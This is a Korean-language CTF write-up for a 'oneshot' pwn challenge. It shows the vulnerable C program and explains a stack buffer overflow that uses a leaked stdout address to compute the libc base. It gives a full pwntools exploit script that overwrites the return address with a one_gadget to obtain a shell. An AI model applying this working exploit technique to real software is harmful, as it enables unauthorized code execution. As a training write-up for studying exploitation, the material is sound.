Index
oneshot 가젯을 이용하여 문제를 풀 수 있다.
환경은 Ubuntu 18.04(glibc 2.27)이다. Ubuntu 20.04(glibc 2.31)에서는 glibc 버전 문제로 익스가 제대로 되지 않았다.
문제
문제를 다운받으면 위와 같은 파일을 준다.
보호기법 확인
먼저, 보호기법을 확인한다. NX와 PIE가 걸려있다.
oneshot.c
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
문제 풀이
먼저, printf 함수로 stdout 주소를 릭해준다. 이 주소로 stdout offset을 빼주면 libc 시작 주소를 구할 수 있을 것이다.
msg 변수가 16바이트 할당되고, read 함수로 46바이트를 입력받아 버퍼오버플로우가 발생한다.
하지만 check 변수가 0보다 크다면, 프로그램을 종료하게 된다.
1. RET로 부터 변수 거리 확인
각 함수에 쓰이는 변수와 비교하는 cmp 구문을 통해 각 변수의 주소를 알 수 있다.
msg 변수의 주소는 rbp-0x20이고, check 변수의 주소는 rbp-0x8이다.
입력을 46바이트만큼 받기 때문에 버퍼오버플로우가 발생하지만, RET를 접근하기 전에 check 변수를 만난다. 이를 생각하여 msg의 주소(rbp-0x20)로부터 값을 채울 때, check(rbp-0x8)의 값을 0보다 크지 않게 설정해줘야 프로그램이 종료되지 않고 실행 흐름을 조작할 수 있다.
스택구조는 다음 사진과 같다.
2. oneshot 가젯 주소 얻기
문제 이름도 oneshot인 만큼, oneshot 가젯을 이용해서 문제를 풀 것이다.
먼저, one_gadget 도구를 받아야 한다.
sudo apt install ruby
sudo gem install one_gadget
#ldd [binary]
#one_gadget [library]
현재 local libc 라이브러리를 확인해서 이를 one_gadget 툴로 돌리면, 바이너리 내부의 oneshot 가젯주소를 얻을 수 있다. 원샷 가젯은 실행 조건(constraints)을 만족해야 실행된다.
원격으로 문제를 풀 때는 문제에서 주어진 libc를 사용해서 오프셋을 구해야 한다.
3. Libc Leak
가젯으로 얻은 값은 오프셋이기 때문에, libc의 시작 주소가 필요하다. 이 문제에서는 맨 위에서 stdout의 주소를 leak 해주기 때문에 stdout offset을 빼주면 libc의 시작주소를 얻을 수 있다.
- stdout 출력 부분
- stdout 라이브러리 확인
_IO_2_1_stdout
오프셋
익스플로잇
from pwn import *
context.log_level='debug'
p = process('./oneshot')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./oneshot')
#p = remote('host3.dreamhack.games', 10190)
#libc = ELF('./libc.so.6')
def slog(name, addr): return success(": ".join([name, hex(addr)]))
#local
oneshot_offset = 0x4f302
#remote
#oneshot_offset = 0x45216
#[1] Leak libc base
p.recvuntil(b'stdout: ')
stdout = int(p.recvuntil('\n')[:-1],16)
slog("stdout", stdout)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
oneshot = libc_base + oneshot_offset
slog("libc_base", libc_base)
slog("oneshot", oneshot)
#[2] exploit
payload = b'A' * 0x18
payload += p64(0)
payload += b'B' * 0x8
payload += p64(oneshot)
p.sendafter(b"MSG: ", payload)
p.interactive()
익스플로잇 오류 및 해결방법
페이로드에 문제가 없는데, 익스가 되지 않는 경우가 있다.
필자는 Ubuntu 20.04에서 계속 되지 않아서, Ubuntu 18.04 버전으로 익스를 성공했다.
20.04는 glibc 2.31이고, 18.04는 glibc 2.27이여서 버전 문제로 안된 것 같다.
- glibc 버전 확인
getconf -a | grep libc
Uploaded by N2T